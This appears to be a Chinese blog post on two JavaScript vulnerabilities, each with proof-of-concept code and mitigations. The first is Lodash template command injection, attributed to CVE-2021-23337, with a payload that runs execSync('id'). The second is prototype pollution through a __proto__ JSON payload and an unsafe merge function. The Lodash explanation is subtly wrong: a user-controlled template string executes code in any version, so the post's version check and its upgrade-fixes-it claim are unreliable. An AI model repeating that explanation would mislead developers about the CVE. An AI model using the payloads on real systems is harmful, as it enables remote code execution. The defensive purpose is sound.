lodash和jquery的exploit

1、lodash(exploit.js)

CVE-2021-23337 是 Lodash 库中存在的一个‌命令注入(Command Injection)‌漏洞,主要影响 ‌4.17.21 之前‌的版本。该漏洞存在于 template 函数中,当攻击者能够控制模板字符串或模板数据时,可以执行任意操作系统命令。

漏洞原理

Lodash 的 _.template 函数用于将字符串编译为模板函数。在受影响版本中,如果模板字符串中包含特殊的插值语法(如 <%= %>),且内部逻辑未对执行上下文进行严格沙箱隔离,攻击者可以通过构造恶意的模板字符串,利用 JavaScript 的原型链或全局对象访问能力,调用 process.mainModule.require('child_process').exec() 等 Node.js 原生模块来执行系统命令。

‌核心触发点:‌

  • 使用 _.template 处理用户可控的输入。
  • 环境为 Node.js(因为浏览器环境通常无法直接执行系统命令,但可能导致 XSS 或其他客户端攻击)。
const _ = require('lodash');

// 恶意模板 payload
const maliciousTemplate = "<%= global.process.mainModule.require('child_process').execSync('id').toString() %>";

try {
    const compiled = _.template(maliciousTemplate);
    const result = compiled();
    console.log("漏洞存在! 执行结果:", result);
} catch (e) {
    console.log("漏洞可能已修复或执行失败:", e.message);
}

  

. 修复与缓解

官方修复

升级 Lodash 到 ‌4.17.21‌ 或更高版本。

bash
 
npm install lodash@latest

临时缓解措施

如果无法立即升级,可以采取以下措施:

  1. ‌避免使用用户输入作为模板字符串‌:确保传递给 _.template 的第一个参数是硬编码的、可信的字符串。
  2. ‌沙箱化执行‌:如果必须处理动态模板,应在隔离的沙箱环境中执行,或使用更安全的模板引擎(如 EJS、Handlebars 等,并正确配置安全选项)。
  3. ‌输入过滤‌:对传入模板的数据进行严格过滤,禁止包含特殊字符或代码片段。

 注意事项

  • ‌浏览器环境‌:在浏览器中,由于没有 process 对象,此漏洞通常不会导致远程代码执行(RCE),但可能导致跨站脚本攻击(XSS),因为攻击者可以注入任意 JavaScript 代码。
  • ‌权限限制‌:命令执行的权限取决于运行 Node.js 进程的用户权限。如果进程以 root 运行,后果将非常严重。

通过以上步骤,你可以验证目标系统是否受 CVE-2021-23337 影响。请务必在授权的环境中进行测试,切勿用于非法用途。

 

2、JavaScript 原型链污染(Prototype Pollution)‌ 漏洞的经典 PoC(概念验证)载荷。

核心原理

该载荷利用了 JSON.parse 和某些 JavaScript 库(如旧版 jQuery、Lodash 等)中不安全的对象合并/深拷贝函数,将 __proto__ 属性注入到全局 Object.prototype 中。

  1. ‌输入构造‌:

    json
     
    { "myProperty" : "a", "__proto__" : { "isVulnerable" : true } }

    在 JSON 字符串中,__proto__ 被视为一个普通的键名(Key),而不是指向原型的特殊属性。

  2. ‌触发条件‌:
    当应用程序使用存在漏洞的函数(例如 jQuery 的 $.extend(true, {}, ...) 或 Lodash 的 _.merge)解析并合并这个对象时,递归合并逻辑会遍历所有键。由于未对 __proto__ 进行过滤,它会将 { "isVulnerable" : true } 赋值给目标对象的原型链顶端(即 Object.prototype)。

  3. ‌后果‌:
    一旦 Object.prototype 被污染,所有后续创建的对象(包括空对象 {})都会继承 isVulnerable 属性且值为 true。这可能导致权限提升(如伪造 isAdmin: true)、拒绝服务或远程代码执行(RCE)。

检测方法示例

你可以使用以下代码在控制台测试当前环境是否受此特定载荷影响(假设使用了易受攻击的库):

// 模拟恶意输入
var maliciousJson = '{ "myProperty" : "a", "__proto__" : { "isVulnerable" : true } }';

// 假设使用 jQuery 进行深拷贝合并 (仅适用于未修复的旧版本)
// var testObject = jQuery.extend(true, {}, JSON.parse(maliciousJson));

// 或者使用自定义的不安全 merge 函数
function unsafeMerge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            unsafeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

var testObject = unsafeMerge({}, JSON.parse(maliciousJson));

// 检查原型是否被污染
if ({}.isVulnerable === true) {
    console.log("Bad news :( You are vulnerable to Prototype Pollution");
} else {
    console.log("All Good! :) You are NOT vulnerable");
}

  

 

防御建议

    1. ‌升级库版本‌:确保使用的 jQuery(≥3.4.0)、Lodash(≥4.17.21)等库已修复相关 CVE。
    2. ‌输入清洗‌:在 JSON.parse 后、合并前,递归移除键名为 __proto__constructorprototype 的属性。
    3. ‌使用安全对象‌:使用 Object.create(null) 创建没有原型的干净对象作为容器。
    4. ‌冻结原型‌:在服务启动时执行 Object.freeze(Object.prototype)(需注意兼容性风险)。
posted @ 2026-06-23 18:20  LalaTina  阅读(12)  评论(0)    收藏  举报